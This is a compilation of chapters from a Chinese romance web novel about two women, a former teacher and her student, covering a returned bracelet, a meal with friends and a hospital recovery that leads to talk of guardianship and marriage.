白鹭洲在餐桌边坐下,说:“你过来,我给你个东西。” 池柚走过去,也坐了下来,“什么啊?” 白鹭洲让池柚伸出手,池柚乖乖地伸出去。 两秒后,修长冷白的双手捏着一条红手绳的两端,轻柔地环在了池柚的手腕上。 池柚惊诧地睁大眼睛。 这—— 这不是她丢在了海岛森林浅滩的那根旧红绳吗! “海岛返程的那天,你们前一晚喝多了酒,中午才醒。早上,我就一个人租了车,回到丛林里面,沿着浅滩找了很久,找到了你的手绳。” 白鹭洲缓缓解释。 “之前一直扣着不给你,是想着,万一我们没有结果,我还有个能想念你的东西。对不起,是我的私心太重,我的错,我明明知道你有多重视这条手绳。现在还给你,希望……你别怪我。” 池柚半晌都说不出话来。 她收回手腕,摩挲着白鹭洲帮她系好的红绳。 忽然,笑了一下。 她觉得世上的事发生得真有意思,当时红绳丢了,她将它看作一个要离开白鹭洲的预兆,做好了红绳和白鹭洲都找不回来的准备。现在她回到了白鹭洲的身边,这根红绳也跟认主似的,兜兜转转地,也又回到了她的手腕上。 “那你知不知道,我为什么那么重视这手绳啊?” 池柚问白鹭洲。 白鹭洲摇头。 池柚这么珍视的东西,她不敢问太多。 她怕问出来的结果,链接着其他对池柚很重要的人。不是长辈,不是朋友,是在她之前的另一个重要的“选择”。 于是为了不让自己难受,她主动说: “你可以不用告诉我。” “不,我要告诉你。” 池柚的性子向来直接,她看出了白鹭洲在害怕什么,她可不想这点破事儿,又要拖拖拉拉上一阵子。 “这里面是你的头发。” 白鹭洲怔住。 “我的……头发?” 池柚:“暑假家教课结束的时候,你送过我一缕头发,你说你不能把手剁给我,就用这缕头发当做纪念。我又不能直接把头发缠手腕上,虽然我觉得没什么,但别人看来应该会觉得很变态吧。所以我就把它编进了红绳里,一直戴着。” 白鹭洲的眼睛里有什么在亮起微光。 “我就喜欢过你一个人,放心啊,放心。” 池柚说着,就转身回厨房去看药炉了。 她的背影又传来两句嘟囔: “而且我喜欢你十三年哎,十三年前我才几岁……就算喜欢过别的小朋友,几岁的情敌你还在意……” 良久,白鹭洲缓过神来,自嘲似的笑了笑。 她抬眼,深深看向池柚的背影。 肩膀向下沉去,放松地靠进椅子里。 喜欢上池柚,似乎没有峰值情况的出现。池柚每说一句话,她都会更爱池柚一些。 可能不是“一些”,是“一大截”。 现在白鹭洲感觉到的安全感叠加起来,就好像,哪怕眼下外面丧尸爆发,病毒肆虐,太阳爆炸,她都觉得在这个屋子里待着,完全不会有什么危险。 外面有小怪兽,池柚就能掏出来奥特曼。 池柚端来药和早餐后,白鹭洲后知后觉地想起自己昨天承诺过今天她要给池柚做饭的,结果池柚来了以后,不仅做了昨晚的饭,还做了今天的饭。 “晚上我来做。”白鹭洲说。 池柚在围裙上擦手,“晚上在外面吃好不好?” 白鹭洲:“我……做饭难吃吗?” 池柚:“不是啦。你不是说要带我去买衣服,顺便就在外面吃了。” 白鹭洲:“嗯,也好。” 吃完早餐,白鹭洲在喝药时随口说:“我们叫上黎青和宋七月一起吧。” 池柚:“叫他们,为什么?” 白鹭洲:“没什么,热闹一点。” 白鹭洲可不是喜欢热闹的人。 池柚戳穿她:“你想找那俩人来炫耀啊?” 炫耀她们现在进展得很有成果的关系。 白鹭洲:“……” 有时候池柚这直言直语的低情商挺可爱,有时候,又挺恼人的。 她们一直没看手机,池柚这会儿拿出手机准备约黎青和宋七月时,才发现群里多了好多条新消息,数量还在持续增加。 宋七月:【我靠热搜第一什么情况?柴大作家你把人家温大CV打了?】 黎青:【我们能有幸吃到一手瓜吗?】 柴以曼:【别跟我提那个神经病。】 柴以曼:【前两天我和小柚子还上过热搜,你们没看见吗?】 宋七月:【还有这回事,什么热搜啊,是不是位置不高?我一般就看前面几个,黎青她又不看微博,我们好像错过大瓜了哟。】 柴以曼:【随便,只要不聊那个神经病,你们聊什么都行。】 宋七月:【哇你教养这么好的人,居然会连骂两次人,到底发生什么了,能逼得你把人家扇一巴掌?闹得好严重啊,微博上现在都要吵疯了!】 柴以曼:【回头和你们说吧,现在确实没什么心情。】 宋七月:【好好,你先冷静冷静。】 白鹭洲也在自己手机上看到了,皱了皱眉。 “这是怎么了?” 池柚在群里打字:【老师让我问问怎么了。】 白鹭洲:“我……没让你问啊。” 池柚:“你有这个意思来着。” 白鹭洲:“……好吧。” 柴以曼在群里回道: 【小柚子,能替白教授问问题,说明已经和白教授在一起了吧?恭喜啊。】 接下来群消息又爆炸了。 宋七月:【我靠我靠,这又是什么新鲜大瓜!】 黎青:【咱们没联系的这几天究竟发生了多少事啊,真好奇。】 宋七月:【是真的吗?小柚子真的和表甥孙女在一起了?小柚子快回我,给我一个准确答案!快!】 池柚想了想,回道:【不算吧,但也差不多。】 宋七月:【!!!】 宋七月:【!!!!】 宋七月:【!!!!!】 宋七月:【拜托告诉我你们现在人在云州,我要立刻,马上,见到你们。】 池柚:【在云州呢,正好想和你们碰个面。】 宋七月:【我现在马上化妆!】 片刻后。 黎青:【白教授怎么不说话,人还健在吗?】 白鹭洲:【。】 黎青:【还好,还好,还健在。】 池柚:【那……不然呢?】 黎青:【我还以为,白教授已经被你做成标本了。】 池柚:【?】 黎青:【我总觉得她只有成为尸体才可能跟你在一起。】 白鹭洲:【……】 白鹭洲发完那两个标点符号就关手机了。 “要不还是我们两个人去吃饭吧。” 这消息看得她头疼。 池柚一边打字一边说: “我都和宋姐姐约好时间了。” 白鹭洲揉了揉眉心,端起药碗,喝完剩下的苦药,很久不再开始说话。 池柚发完消息,注意到白鹭洲的沉默,马上放下手机。 “不开心了?” “没有。”白鹭洲撑起一个浅笑,“只是觉得,和朋友们一起逛街,会比我想象中要更喧闹一点。” 池柚:“是你先提的呀。” 白鹭洲:“是。但没料到,‘喧闹’好像要比‘炫耀’更叫我难以习惯。” 池柚精准地问到要点:“是不喜欢,还是不习惯?” 白鹭洲:“是不习惯。” 池柚:“那以后时间久了,会慢慢习惯吗?” 白鹭洲:“会的。以前答应过你,只要你喜欢这样的聚会,我会努力习惯。” 话落,白鹭洲又补充一句: “而且我没有那么排斥,我自己也挺向往的,这种……有朋友的日常生活。” 池柚撑着下巴,看着白鹭洲。 “但目前来说,还是有点勉强,对不对?” “……就,一点点。” 池柚:“那委屈你了。” 白鹭洲:“没那么严重,没事。” 池柚:“约好的行程,不好再反悔,今天就勉强这么一点点吧。” 池柚站起来,收拾白鹭洲面前的药碗。 将碗勺都在手上垒好以后,池柚准备去厨房洗碗。 可才转身,脚步又倏地顿了一顿。 她忽然回头,弯了腰,在坐着的白鹭洲嘴上轻轻地亲了一下。 “补偿你。” 第090章 池柚把脏碗筷都放进洗碗机里, 随口和旁边帮忙一起收拾的白鹭洲夸了一下这个东西好用,省了洗碗的事。 白鹭洲问她像这种家电还有没有想要的,今天可以都去采购回来。反正要去买衣服, 还要买花,不如一次买全, 回头叫商场工作人员直接送到家里。 “这是你的房子, 干嘛总考虑我要什么。”池柚解开围裙, 规整地挂回墙上。 白鹭洲:“你以后会经常过来,让你住得舒服点。” 或许,也可能不止是经常过来。 但白鹭洲显然不会在这么早就贸然提及“同居”这种字眼, 哪怕是在回答里做一个假设。 她的想法很多,规划很多,乃至已经远到按照那套地下室积木的流程预想到了往后一生,但她还是觉得对待池柚应该慢慢来。现阶段, 她能允许自己做的最放肆的事, 也就止于接吻。 甚至偶尔回想起来,还会反思是不是把接吻这个行为提得太靠前。 对真正想要珍惜的人,她由衷地希望,可以让彼此不紧不慢地, 充分地享受表白、确认关系、牵手、接吻、暧昧、更进一步、负距离靠近、共同生活, 这些所有情节里每一点每一滴的美好。 因为她们大概率这辈子只会拥有对方一个人了。她不想以后池柚回忆起来,觉得哪个情节被跳了过去, 形成难以回溯补全的遗憾。 池柚打断了白鹭洲的思绪:“下午的饭局在三点, 我想先回家一趟,拿两件内衣。” 白鹭洲的衣服她可以穿, 贴身的内衣却不行。 不是嫌弃,确实尺码不一样。 白鹭洲:“……这么早见你母亲?” 池柚转身去拿包, “妈妈没在家,她去外省出差了。” 白鹭洲:“行。” 两个人收拾好包下到车库,白鹭洲开车带着池柚前往池家。 天朗气清,一路* 畅行。 停好车,上楼,开门。 池柚匆匆给白鹭洲拿了拖鞋以后,马上跑到阳台边,打开一只大笼子的门。 “快快快我看看还有没有食和水。” 笼门一打开,里面的黑色乌鸦就扑棱着翅膀飞了出来。似乎是憋坏了,绕着天花板飞了好几圈,发泄完了看到了门口的白鹭洲,惊喜地“嘎嘎”叫一声,扑向这位老熟人。 白鹭洲才放下包,就被迫抬手接住了乌鸦。 乌鸦亲昵地用鸟喙蹭了蹭白鹭洲的下巴,不停地“嘎嘎”叫。 “旺财。” 白鹭洲试着唤它的名字。 池柚纠正道:“是尼古拉斯·旺财。” 白鹭洲:“……尼古拉斯·旺财。” 旺财很高兴地在白鹭洲的胳膊上跳了跳。 “好久不见。” 白鹭洲低下头,也用自己的下巴回蹭了一下旺财的头顶。 然后,轻轻地,用只有她自己才能听见的声音,唤了一声她与它之间的秘密代号。 “小乌黑。” 乌鸦听到阔别依旧的称呼,叫得更欢,兴奋得张开翅膀朝白鹭洲扇动。 “旺财,过来!” 池柚从冰箱里拿了一小块没解冻的肉,直接扔到半空。 旺财迅速飞过去,在空中一口叼住。 “今儿天热,给你吃雪糕。” 白鹭洲走到池柚身边,和她一起看着旺财将冻肉叼到笼架上,窸窸窣窣地啄。 “我突然觉得,你和它有点像。”白鹭洲说。 池柚挑眉:“我?像鸟?” 白鹭洲点头:“看起来黑漆漆的,总是会被人视作不祥的征兆。可是熟悉了解以后,就会发现,是一只很可爱的小鸟。” 池柚听到白鹭洲变相地夸她可爱,忍不住笑,说:“可能我上辈子就是一只乌鸦吧。” 白鹭洲也笑了,问她:“那我上辈子是什么?” 池柚想了想,“你应该是稻草人。” 白鹭洲:“为什么?” 池柚:“看起来凶巴巴的,总是要把乌鸦吓走。” 嗯,这比喻还挺有道理。 白鹭洲又问:“你说,上辈子的稻草人和乌鸦,有没有在一起?” “不知道。”池柚诚实地摇摇头,“我妈妈最近在研究星座占卜那些东西,要不我找她介绍个西方神棍,帮忙算一算前世的事。” 白鹭洲揽住池柚的肩,眼里笑意深了些许,“好,算完以后告诉我。” 池柚沉默片刻,捉住白鹭洲腰间的衬衫衣摆,小声说: “我想带你见妈妈了。” 白鹭洲的耳尖微红。 “好啊。等我黄道吉日选完以后,再挑个好日子,见你妈妈。” 池柚忽又皱眉:“可是妈妈好像比较喜欢柴姐姐。” 白鹭洲表情僵住。不过须臾,耳上红晕褪去,眼里笑意也消失,“……是吗。” 池柚:“是啊。” 白鹭洲:“你小时候,我叫那些欺负你的小男生在班会上和你道歉,你退学以后找不到老师,我来给你做一暑假的家教,这些事情发生的时候,你妈妈不是挺喜欢我的吗?” 池柚:“那是作为一个老师,她挺喜欢你的。” 作为池柚的伴侣,白鹭洲可太叫池秋婉不放心了。 毕竟池秋婉亲眼看到池柚低声下气追那么多年,白鹭洲还冷言冷语,无动于衷,石头一样又冰又硬的样子。 池柚也没办法。 “追妻火葬场”她可以打开私心放过白鹭洲,“哄丈母娘火葬场”她能有什么辙。 她们打算先略过这个话题,因为约饭的时间快到了。 池柚拿好需要拿的东西,把旺财关到便携的笼子里,跟着白鹭洲下楼,上车,先送旺财去寄养的地方,再去商场。 两个人按时到达了商场。 去地下车库停好车,上到一楼,正巧看见刚到的黎青和宋七月。 黎青和宋七月站在大门边上的甜点站门口,吃才买到手的冰淇淋蛋筒。 宋七月含着口奶油就朝她们挥手: “这儿这儿!” 白鹭洲和池柚走近了去。 黎青将这两个人上上下下仔仔细细打量了一番,含着意欲不明的笑,“看起来好像是和以前不太一样了啊。” “大不一样!”宋七月咽下口中的冰淇淋,“以前表甥孙女哪会允许小柚子和自己并排走一块儿哦。” 白鹭洲:“……我以前有这么刻薄?” 宋七月:“可太刻薄了你。” 黎青:“+1。” “……” 白鹭洲吸了口气,移开话题。 “吃什么?” 宋七月:“你请客吗?” 白鹭洲:“嗯。”就算是为了庆祝,她也该请这一顿。 宋七月:“那我要吃这儿最贵的。” 白鹭洲:“最贵的未必最好吃。” 宋七月:“我不管好不好吃,我就要吃最贵的。” 白鹭洲轻不可闻地叹了口气,“你家又不穷。” 言下之意是,何必这么磕碜。 “我家是不穷啊,也没你家富,更何况我还和这个穷鬼在一起!” 宋七月恶狠狠地瞪向黎青。 “自从跟她谈上恋爱,我就没吃过什么好东西。” 黎青就站在旁边,笑眯眯的不说话。 白鹭洲用眼神问她:装穷游戏还没结束? 黎青很小幅度地摇了摇头,示意白鹭洲不要捅破。 池柚也有点疑惑,她虽然不会跟白鹭洲一样能认出黎青的限量银行卡,但她记得黎青平时的生活好像没有那么窘迫。 “可是黎师姐你……” 眼见池柚要戳破窗户纸,白鹭洲的胳膊环住池柚,从她身体另一侧捂住了她的嘴。? 池柚抬起大眼睛看白鹭洲。 白鹭洲低头看池柚,“你饿了没有?” 池柚单纯地被白鹭洲的问句转移了注意力,在她掌心里点点头。 白鹭洲:“你是不是也没吃过特别特别贵的餐厅?” 池柚再次点点头。 白鹭洲:“那走吧,带你去吃一次。” 池柚:“嗯嗯。” 宋七月用手机搜出商场里最贵的餐厅,兴致勃勃地带头走在最前面,已经开始在点评里看菜单了,还拉着小柚子一起看。 走在后面的黎青朝白鹭洲靠近了一点,轻声和她对话:“你老婆真好忽悠。” 白鹭洲皱了皱眉:“你老婆更傻。” 黎青噗嗤一声笑了,“白教授,没有否认‘老婆’这个说法呢。” 白鹭洲不想被黎青打趣,便道:“她不是我老婆。” 确实,还没有经历过黄道吉日,否认这个称呼也没问题。 而且就算过了黄道吉日,白鹭洲也只容许别人称呼池柚为她的“女朋友”,“老婆”这么严肃的字眼,不该被拿来放在玩笑里。 白鹭洲还没发现,她开始双标了。 她不允许别人开玩笑说池柚是她老婆,但她刚刚还嘴的那一句,也无意地表露了宋七月是黎青的老婆的意思。 四个人走到餐厅,挑了个好位置坐下来。 宋七月毫不客气地将最贵的菜点了个遍,她理直气壮地说这是白鹭洲该感谢她们的,她们之前为了撮合这俩人多呕心沥血鞠躬尽瘁啊,吃她上万块钱都不为过。 白鹭洲对钱不在意,淡淡地说了句“随便”。 等菜的时候,宋七月注意到了一个重点。 刚一直在路上走,她都没留意,现在池柚坐在她对面喝水,她才发现这个惊奇的事。 “我的天,你的红手绳复活了?!” 宋七月捂住嘴,瞪着池柚手腕上那条没法复刻出一模一样的旧手绳。 “它不是丢在海岛了吗!你给它招魂了?” 池柚:“不是我招的魂。” 宋七月:“那是哪位大仙?真是厉害啊,丢那么远都能招回来,道行太深了,求介绍,真的,我丢了好多重要的东西,家里翻了天都找不到,你帮我求求那位大仙,真的,求求了,求求了!” “呃……” 池柚用大拇指指向身边的白鹭洲。 “你要不亲自求这位大仙?” 白鹭洲放下喝了两口的茶,气定神闲地对上宋七月的眼睛。 宋七月目瞪口呆地看着自己的表甥孙女。 “啪嗒”一声。 她手里没吃完的甜筒掉在了桌子上。 “你……什么时候出的家?” 【全文完结】 第115章 池柚折腾了大半宿, 隔一会儿就要梦呓说疼,但偏偏她自己睡眠质量还挺好,再疼都没醒过。 白鹭洲没办法, 只能一直抱着她,不停地哄她。 哄到天亮的时候, 白鹭洲感觉自己已经对那几个肉麻至极的叠词免疫了。 人类的本质是不是复读机她不知道。 但今晚的她肯定是个复读机。 白鹭洲也不清楚自己是什么时候睡着的。 从破晓到晨曦铺满天边, 再到旭日初升, 由橙黄变成金黄。 直到刺眼的阳光从窗外照进来,用灼热的温度与身体皮肤的接触来提醒人们:到中午咯,再懒也该起床了。 白鹭洲的潜意识里总有一只秒表, 帮她掐着deadline。 她的大脑算着差不多睡够了修复疲惫的时间,便自觉醒来。 一睁眼,白鹭洲就看见池柚那双清亮澄澈的大眼睛一眨不眨地盯着她。 白鹭洲:“你怎么醒……” “你是谁啊?”池柚茫然地打量着眼前的人,“我在哪儿?你为什么会在我床上?” 白鹭洲:“……” 池柚:“头好疼, 嘶……我怎么什么都想不起来了?” 白鹭洲清去刚醒的困顿, 面色平静地答:“我是附近山头的绑匪头子,看你长得好看,就把你绑到山寨里,准备让你做压寨夫人。” 池柚:“绑匪头子怎么是个女的?” 白鹭洲:“时代在进步, 现在什么岗位都可以是女的。” 池柚:“时代都这么进步了, 还有山寨这东西?” 白鹭洲:“总有时代进步的漏网之鱼。” 池柚环视周围一圈,“可是, 我看这里不像山寨啊, 全是白色。” 白鹭洲:“哦,我们山寨的装修比较独特, 灵堂风。” 池柚绷不住,笑了: “你不觉得自己编得很离谱吗, 白鹭洲?” “是你先和我装失忆的,”白鹭洲撑着床沿坐起来,“你明知道,我这会儿最怕的就是你出现这一类的后遗症。” 池柚也坐起来,抱住白鹭洲的胳膊,“我就是想和你开个玩笑。” 白鹭洲:“嗯,蛮好笑的。” 池柚偏着头观察白鹭洲没什么表情的脸,后悔了。 “你生气了?我……我没想惹你担心,对不起,我和你道歉。” 白鹭洲本也没真的生气,见池柚态度诚恳,便在叹气间放柔了五官轮廓,“早上医生有没有来查过房?” 池柚:“查过,我醒着,他说我一切都好。” “那就好,”白鹭洲下床穿鞋,“你还没吃饭吧?我去给你买点饭。” 池柚点菜:“我要小笼包和红枣奶。” 白鹭洲都答应下来:“好。” 医院附近的早餐摊不少,但转了一大圈,白鹭洲只买到了小笼包。为了买到红枣奶,她沿着路一直找,走出去两公里多才买到。 一去一回,差不多五公里了。 白鹭洲的脚踝早就开始发疼,可是想到池柚这几天都没好好吃过东西,难得现在恢复一些,她想吃什么自己都应该全部满足才对,于是一言不发地走完这个来回。回到医院时,她的走路姿势也没让池柚看出来什么端倪。 池柚今天胃口不错,吃小笼包嚼得很香,把自己的腮帮子都吃成了小笼包。 “慢点吃。”白鹭洲含着笑,给池柚递红枣奶。 “嗯嗯。”池柚乖巧地点头。 白鹭洲低头将小笼包的塑料袋边沿卷下去,免得蒸汽捂湿包子,“等你吃完饭,我得出去一趟。我一会儿在群里问问看她们谁有空,叫个人过来陪你。” 池柚含着包子口齿不清地忙问:“你去干什么?” 白鹭洲:“今天法医应该出检验结果了,我去警局看看,有没有什么新进展。” 昨晚睡前夜聊环节,白鹭洲已经和池柚说了她那天去警局的情况,免得她担心。 池柚想了想,说:“你这两天跑东跑西的太累了,还是别去了。其实,知道这件事顺利交给警局那边就好,我不是非要一个好的结果才甘心。” 白鹭洲微讶地抬了抬眉。 又释然一笑。 “也对,你做事,从来都只是因为那样做是正确的才去做,结果如何,都习惯交给世情自断。” “是啊——我就是,在每一个时刻,做那一刻该做的事。” 池柚对白鹭洲眨眨眼,忽然问她: “老师,你知道我为什么要这样吗?” 白鹭洲顺着池柚的话问: “为什么?” 池柚轻咳两声:“想知道的话,你得要用什么来换才行啊。” 白鹭洲看着池柚那有点小得意的样子,忍不住笑了笑,“你想要什么?” “嗯……不知道。”池柚扬起下巴,“现在是你要讨好我,你得主动想才对。” 白鹭洲的求知欲没有那么旺盛,不过看池柚一副很想要说出来的表情,她便也努力地去想,怎么给池柚一个说出答案的台阶。 “等你出院以后,我给你做一个月的饭,可以吗?” 白鹭洲问。 池柚噗嗤笑了。 “你好没创意,当时刚在一起的时候,你也总是说要给我做饭来讨好我。你就想不到其他可以逗我开心的办法了吗?” 白鹭洲:“帮你洗衣服。” 池柚:“我自己会把脏衣服放进洗衣机。” 白鹭洲:“帮你剪指甲。” 池柚:“不要,你每次都剪得好慢,我自己剪还利索一些。” 白鹭洲:“那是怕伤到你。” 池柚:“反正不要。” 池柚双手撑着床沿抻了抻坐僵了的腰,撅嘴: “说来说去还是平常那些,你有的时候不是挺会谈恋爱的么?有的时候,怎么又是木木的了。” 白鹭洲:“那……” “好啦,我告诉你。” 池柚也不忍心让白鹭洲苦思太久,拉住白鹭洲的手,认真地看着她。 “因为我做的每一件事,都是你曾经教给我,要我去遵循的‘人类美德’。” “我教过你的?” “嗯。” 池柚点点头。 “就像以前,是因为你告诉过我,‘物归原主’是美德,我才会在游轮上想尽办法保护那一百块钱。也是因为你曾经告诉过我,‘负责’是美德,我才会坚持对柴姐姐承诺过的三个月负责。这次也一样,因为你教过我,‘帮扶弱者,心怀正义’是美德,我才会拼了命地帮那个女孩要一个公正。” 白鹭洲按制住被这番话隐隐触动的心,问: “为什么要这样?” “你知道的,我不是一个正常的普通人,我天生分不清善恶,辨不懂正邪,但我明白,我不想变成一个像我爸爸那样的怪物。而老师你是个很好很好的人,我就觉得,你教给我的所有东西,我都可以放心地去执行。” “可你凭什么觉得我很好很好?凭什么那么相信,我说的就都是对的?” 白鹭洲想了想。 “就凭当年小学体育课上,我在操场边给你系7次鞋带?还是凭那时,我总是把我的早餐奶和润喉糖分给你,看起来像个好人?” “这些全部都是理由哦,老师。” 池柚灿烂地笑了一会儿,又补充道: “但主要原因,还是另一个啦。” “是什么?” “你还记不记得,我9岁那年,在墓园,你和我说过的话?” 池柚支起下巴,晃着手里的红枣奶。 “你说,要我再给其他人一个机会,那些我当时还没有遇到的,会在我未来出现的人,新的同学,新的舍友,其他老师,其他朋友。你说我会顺利地读过中学,读到大学,期间一定会有人发现我很可爱,喜欢和我做朋友。你说我会找到最适合我的那条路。你说我会明白,没有生下来就‘错’的人,只有没有放对位置的天才。你说,我会被这个世界善待的。” “那天晚上,我第一次真正想要活下去,想要亲眼去看看,你口中的那个‘未来’。” 池柚看向白鹭洲,眼波温软辽阔。 “而现在,你和我说的‘未来’,我有幸,已经来到了。” 她顺利地读完了中学,读完了大学,甚至读完了研究生。 她也遇到了很多善良的人,如今,还拥有好几个特别喜欢她的朋友。 她找到了适合她的职业。 找回了她的老师。 找到了她的爱人。 白鹭洲眼底的光被晕开。 “这证明你完全是对的。” 池柚扬起笑脸,晃着搭在床边的两条腿。 “所以我相信你,你永远,都会把我带到对的路上。” 这一刻,白鹭洲不忍心再责备池柚,为了职业正义枉顾生命安危,差点就抛下她一个人。 她只看见一个生来就被命运抛弃的茫然小狗,湿哒哒地穿过一场大雨,艰难顺着栓在它脖子上的唯一细绳,寻找它的光、它的路。 小狗现在告诉她,绳子的另一端,其实从来就握在她的手上,任由她摆向任何方向。她还怎么再忍心,怪它在跌跌撞撞奔过来的路上,不小心摔在泥坑里跌破了小脑袋瓜。 “但……下一次再去做这些事,要小心一点,好吗?” 白鹭洲攥住池柚的手,沉下嗓子,柔软地与她商量。 白鹭洲已经尽量放软了这一句的语气,可没想到她说完以后,池柚的眼睛里猛地漫上了一层眼泪。 池柚明显不想让白鹭洲看见她哭的样子,连忙别过头去胡乱擦掉,只是呼吸时鼻腔里浓重的哭腔怎么也遮掩不住。 白鹭洲揽住池柚的肩,皱眉: “怎么了?” 池柚却擦不干净那些眼泪,脸侧的泪痕越挂越多。 她抽着鼻子,沉默良久。 “……我知道,我这次让你担心了。” 嗓音倏忽转低,坠满沉甸甸的愧疚。 “对不起,白鹭洲。” 白鹭洲抬手帮池柚擦眼泪,轻轻一笑:“所以担心的是我,哭的却是你?” 池柚低哑地说:“你还笑。” 白鹭洲:“那怎么办,我和你一起哭么?” 池柚的眼中漫上更多的泪水,一想起这两天白鹭洲会受的煎熬,心里也跟着揪疼,只知道低着头不断地重复:“对不起,对不起……” “永远不要和我说对不起。我说过,我知道你只是在做你觉得对的事,这并没有错。” 白鹭洲低头去看池柚的眼睛。 “而且,我相信通过这次的事,你以后行事会更小心,更挂念我的感受,对吗?” 池柚使劲点头。 “对。” “你看,事情这不就解决了么,别哭了,听话。” 白鹭洲在擦池柚眼泪的时候捏捏她的脸,温柔地对她笑。 “如果觉得这次实在愧疚,那……你也可以考虑一件事,作为补偿。” 池柚:“什么?” “当然,我会先征求你和你母亲的同意,如果她肯点头,如果你也愿意的话……” 白鹭洲握着池柚的那只手有些紧张地缩紧,抿了下唇角,又清了清嗓子。 “我想,和你去办意定监护。” 第116章 那晚在病房里, 医生对白鹭洲说的话,白鹭洲一直都没能跨过去。 她没有资格在池柚昏迷的时候,在池柚的手术单上签字。她甚至也不敢直接去找池秋婉来, 因为她不知道池柚是否愿意在这个时候让她母亲了解这件事。 于是所有担心和恐惧都翻了倍,在岌岌可危的安全感上覆了多几层的压迫。 如果还有下次…… 白鹭洲不愿去假设这种事, 可她习惯铺好所有后路的性格让她不得不去考虑这万分之一的可能发生, 哪怕是在几十年后, 因为一些自然产生的病痛而再次面临这样的局面,她也不想再有那晚的无力感了。 起码,给她一个能第一时间在手术单上签字的资格。 池柚面对白鹭洲这样的请求, 想也没想就自然地答应了:“好啊,我当然可以。” 白鹭洲先是愣了一瞬,才小心地问:“不……再想想吗?” 池柚摇摇头,“这有什么好想的?我一直都把老师当作我的监护人。” 白鹭洲不禁一笑, 伸手摸了摸池柚的侧脸。 “你这样说, 我更觉得,和你在一起是在干坏事了。” 池柚眯起眼睛,歪着脑袋在白鹭洲的掌心里蹭蹭。 “你本来就在做坏事。” 她弯弯的大眼睛闪着狡黠的光点,仿佛在对白鹭洲说: 你自己不都承认过了么, 你是个没有道德的老师哦。 白鹭洲心里早就磨灭掉的禁忌线, 此时莫名地又隐隐扯了起来。 尽管发展至此,已经挺没有必要的了。 她又笑了笑, 收回手, 催促池柚吃完手里的早餐。 在池柚吃早餐时,她们又聊了许多关于怎么和池秋婉坦白的打算。 池柚拿不准池秋婉的反应, 虽然池秋婉并不在意她选择怎样的伴侣,可白鹭洲与其他人不太一样, 毕竟那么多复杂的过往横在中间。 白鹭洲不太赞成池柚想要继续拖一拖的想法,她说,这次这么大的事情没有通知给池秋婉已经很不对了,作为池柚的母亲,许多事池秋婉该有知情权。 最后讨论来讨论去,白鹭洲妥协了一个折中的办法。 ——等池柚头上的伤完全愈合、头发也恢复到看不出端倪时,她们再一起去见池秋婉。 池柚怕池秋婉将这次的伤归责为白鹭洲的照顾不当,坚持要等伤好才愿意回家,白鹭洲也不愿池柚这时再为这事担忧更多,只得都答应她。 在医院观察的这几天,池柚似乎没有出现什么明显的后遗症,只是偶尔还是喊疼。 她还是坚持不肯用止痛药,除了表面上说的怕影响大脑的原因外,也悄悄告诉白鹭洲,其实是怕自己对止痛药产生依赖性。 白鹭洲知道,池柚作为医学生,对这方面懂得肯定更完备,于是不强加劝导什么。 出院前的那一晚,池柚躺在白鹭洲怀里,计划着出院后要去吃哪些好吃的。 说着说着,她话锋一转,忽然道: “白鹭洲,你还欠我件事。” 白鹭洲已经困乏了,先轻轻地“嗯”了一声,才问: “什么事?” “第一,你答应过我,等我学好了,会让我把你绑起来,对你这样这样、那样那样。我现在已经学得很好了,你不能反悔。” 池柚扒着指头。 “第二,你还没有对我说过‘我爱你’呢。” 白鹭洲紧了紧抱着池柚的胳膊,双眸困顿地阖着。 “这明明是两件事。” “你怎么把眼睛闭上了,快睁开快睁开。” 池柚双手捏住白鹭洲的两颊,轻柔地晃她的脑袋。 “我不管是一件还是两件,反正你得还。” 白鹭洲握着池柚的手,将它们从自己的脸上捉下来。白皙的侧脸泛着一点点被揉捏过后的粉红,不知是因为池柚手指的力度没把控好,还是情绪卷涌了滚烫的血液漫上来。 “好,还。” 白鹭洲没有告诉池柚那晚她已经在病床边说了无数遍“我爱你”的事,她似乎也永远都不准备提起了。 池柚睁大亮晶晶的眼睛,睫毛柔软地扑动。 “那你说。” 白鹭洲被这样看着,抿了抿嘴唇。 她犹豫了一瞬,才缓缓道: “我爱你。” 池柚惊讶极了,呆了好半天。 “你居然真的会说?” 尽管曾说过了无数遍,但这还是第一次在池柚的注视下说。白鹭洲脸侧的粉红没有消退,反而蔓延上了颧骨,她低了下巴,瞳孔滑到眼尾去看旁边。 “这次为什么这么顺从呀?” 池柚晃着白鹭洲的手腕,撑起身子探出头,努力地想闯入白鹭洲偏移的视线里。 “是不是、是不是因为我这次受伤,你很担心,很心疼,所以我现在提什么要求你都会答应呢?” 白鹭洲轻咳一声,将手腕从池柚的手中挣出来,扶住床沿慢慢坐起,说她想去上个厕所。 池柚看出来此刻的白鹭洲有些想要回避,于是也马上爬起来,说她也去。 白鹭洲:“……我上厕所你也要跟着?” 池柚理直气壮:“我们又不是没有一起上过厕所。” 白鹭洲疑惑:“什么时候?” 池柚:“就上次,你给浴缸里放了香料和白酒,我们一起泡身上尸臭的时候。” 白鹭洲噎了噎,“那、叫一起上厕所吗?” “浴缸在卫生间吧?马桶在卫生间吧?卫生间也叫厕所吧?”池柚彪悍的逻辑上线了,“我们一起进过卫生间,就是一起上过厕所啊!” 最后,白鹭洲当然没允许池柚跟她一起进厕所里,只带着池柚去到洗手池位置,就让池柚在厕所门口等着。 白鹭洲当然没有真的想上厕所,所以她进隔间以后,只是用手腕根撑墙站着,默默等过一小段时间,以此掩盖刚刚的一瞬失态。 数秒时,池柚的声音轻轻从隔间门外传来: “白鹭洲。” 白鹭洲向着池柚的方向抬起头。 “嗯?” “意定监护,抛开我们特有的前师生关系,在两个女人之间,是不是很重要的事啊?” 池柚说这句话的语气,让人可以大概想象到她低着头用脚尖在地上画圈的样子。 有些事池柚虽然答应得很干脆,可她并不是没心没肺。她会去认真想,认真回味,也认真地思索这件事放在凡俗人类之间的意义。 白鹭洲极浅地笑了一下,说:“是啊,大概……算一种结婚了吧?” 门外的池柚也笑了,“你的意思是,你愿意和我,有这种类似于结婚的关系吗?” “……”白鹭洲望着隔间门,仿佛可以与此刻的池柚对视,“愿意。” 门外好一阵子的沉默。 良久,池柚才小心翼翼地又开口: “我们以后……会结婚吗?” 白鹭洲毫不犹豫: “会。” “这、这算是,求婚吗?” 池柚意识到这一点时,开始有点后悔这么草率地问出了这个问题,在这种随意的地方,甚至还隔了一扇门。 而且,这样的问答,到底是算她向白鹭洲求的婚,还是白鹭洲向她求的婚? 没想到,门里的白鹭洲却回道: “不算。” “啊?” 池柚刚刚还在后悔自己的莽撞,听到白鹭洲说不算,心里又有点小失落了。 白鹭洲似是笑了一声。 